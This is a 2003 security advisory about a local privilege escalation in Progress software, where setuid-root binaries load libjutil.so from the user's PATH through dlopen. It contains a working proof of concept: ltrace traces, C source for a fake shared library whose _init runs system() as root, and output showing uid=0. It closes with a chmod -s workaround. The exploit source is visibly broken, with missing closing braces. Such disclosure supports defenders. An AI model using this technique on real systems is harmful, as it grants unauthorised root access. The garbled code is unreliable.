[UNIX] Progress PATH Based dlopen() Issue

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Date: 06/15/03

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      Progress PATH Based dlopen() Issue


    Progress applications make the use of several helper .DLL and .so
    binaries. When looking for shared object files for use in a dlopen
    statement Progress choose to look in the users PATH. No verification is
    performed upon the object that is located thus local non super users can
    make themselves root. (Most binaries in /usr/dlc/bin can be exploited via
    this method).


    [elguapo@rh8 elguapo]$ ls -al /usr/dlc/bin/_proapsv
    -rwsr-xr-x 1 root root 5258733 Nov 23 02:01 /usr/dlc/bin/_proapsv

    getenv("DLC") = NULL
    strcpy(0xbffff350, "libjutil.so") = 0xbffff350
    memmove(0xbfffefc8, 0xbffff350, 12, 0x084a2a50, 0x084e1310) = 0xbfffefc8
    access("libjutil.so", 4) = -1
    __errno_location() = 0x4212a620
    getenv("PATH") =
    strcat("/usr/local/bin", "/") = "/usr/local/bin/"
    strcat("/usr/local/bin/", "libjutil.so") =
    access("/usr/local/bin/libjutil.so", 4) = -1
    strcat("/home/elguapo/bin/", "libjutil.so")
    access("/home/elguapo/bin/libjutil.so", 4) = 0

    As you can see the library libjutil.so is searched for in the users PATH.
    So we can create a shared library and exploit the vulnerability (code
    provided by: <mailto:core[at]bokeoa.com> core[at]bokeoa.com):

    #include <stdio.h>
    #include <string.h>

    // If you wanted to get creative you can hack out some fake functions for
    // use later ... but theres no need... just use _init

    int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
      printf("This is a fake ehnLogOpen \n");
    int ehnLogClose(int argc, char * const argv[], const char *optstring) {
      printf("This is a fake ehnLogClose\n");

    _init() {
       printf("bullshit library loaded\n");
       system("/usr/bin/id > /tmp/p00p");
       system("cat /tmp/p00p");

    [elguapo@rh8 elguapo]$ /usr/dlc/bin/_proapsv
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)
    +0001%ReadUBproperties failed: WebSpeed error 10007, System error 0,
    ServiceName cannot be NULL or blank (6275)#00This is a fake ehnLogClose
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    [elguapo@rh8 elguapo]$ /usr/bin/ltrace /usr/dlc/bin/_proapsv

    We can see it searches the PATH and finds nothing ...

    getenv("PATH") = NULL
    dlopen("libjutil.so", 258) = NULL
    read(3, "Could not open Dynamic Library: "..., 81) = 81
    malloc(51) = 0x084df718
    dlerror() = "libjutil.so: cannot
    open shared "...
    lseek(3, 649134, 0) = 649134
    read(3, "DLL Error : %s (8014)", 81) = 81

    In the above example we just gave it a little help finding the .so The
    dlsym command will help you determine which fake functions you need to
    make the exploit work.

    getenv("PATH") = "/tmp"
    strcat("/tmp", "/") = "/tmp/"
    strcat("/tmp/", "libjutil.so") = "/tmp/libjutil.so"
    access("/tmp/libjutil.so", 4) = 0
    dlopen("/tmp/libjutil.so", 258) = 0x084e1840
    dlsym(0x084e1840, "ehnLogOpen") = 0x40013414
    dlsym(0x084e1840, "ehnLogClose") = 0x4001345e
    dlsym(0x084e1840, "ehnLogWrite") = 0x400134a8
    dlsym(0x084e1840, "ehnLogDump") = 0x400134f2
    dlsym(0x084e1840, "ehnLogGetProperties") = 0x4001353c
    dlsym(0x084e1840, "ehnLogSetProperties") = 0x40013586
    This is a fake ehnLogOpen
    uid=0(root) gid=500(elguapo) groups=500(elguapo)

    Execute the following:
    #chmod -s /usr/dlc/bin/*


    The information has been provided by <mailto:dotslash@snosoft.com> KF.


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